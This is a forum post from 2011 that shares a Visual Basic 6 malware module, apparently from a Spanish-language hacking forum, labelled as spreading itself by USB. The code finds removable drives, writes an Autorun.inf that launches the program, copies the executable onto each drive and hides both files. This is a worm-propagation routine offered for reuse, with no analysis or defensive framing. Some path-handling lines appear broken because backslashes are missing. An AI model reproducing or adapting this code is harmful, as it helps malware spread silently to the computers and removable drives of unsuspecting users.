Jue Jun 02, 2011 3:37 pm
- Código:
Option Explicit
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO : mSpread USB |||
' FECHA : 12/29/2010 22:39 |||
' AUTOR : Fakedo0r |||
' CORREO : [Tienes que estar registrado y conectado para ver este vínculo] |||
' DESCRIPCION : Propagacion por USB |||
' USO : Call USB |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const FILE_ATTRIBUTE_HIDDEN = 2
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean
Dim lRet As Long
lRet = CopyFile(src, Dest, FailIfDestExists)
APIFileCopy = (lRet > 0)
End Function
'==============================================================================
' --- FUNCION OBTENER NOMBRE
'==============================================================================
Private Function GetName(File As String) As String
Dim P As Long
P = InStrRev(File, "")
If P > 0 Then GetName = Mid(File, P + 1, Len(File))
End Function
'==============================================================================
' --- FUNCION CALL USB
'==============================================================================
Public Function USB()
Dim D As Long
Dim sDrive As String
For D = 65 To 90
sDrive = Chr(D) & ":"
If GetDriveType(sDrive) = "2" Then
Dim sName As String
Dim sFile As String
sFile = App.Path & "" & App.EXEName & ".exe"
sName = GetName(sFile)
Open sDrive & "Autorun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "Open=" & sName
Print #1, "UseAutoPlay = 1"
Print #1, "shell\open\Command=" & sName
Print #1, "shell\open\Default = 1"
Print #1, "shell\explore\Command = " & sName
Close #1
DoEvents
Call APIFileCopy(sFile, sDrive & sName)
Call SetFileAttributes(sDrive & sName, FILE_ATTRIBUTE_HIDDEN)
Call SetFileAttributes(sDrive & "Autorun.inf", FILE_ATTRIBUTE_HIDDEN)
End If
Next D
End Function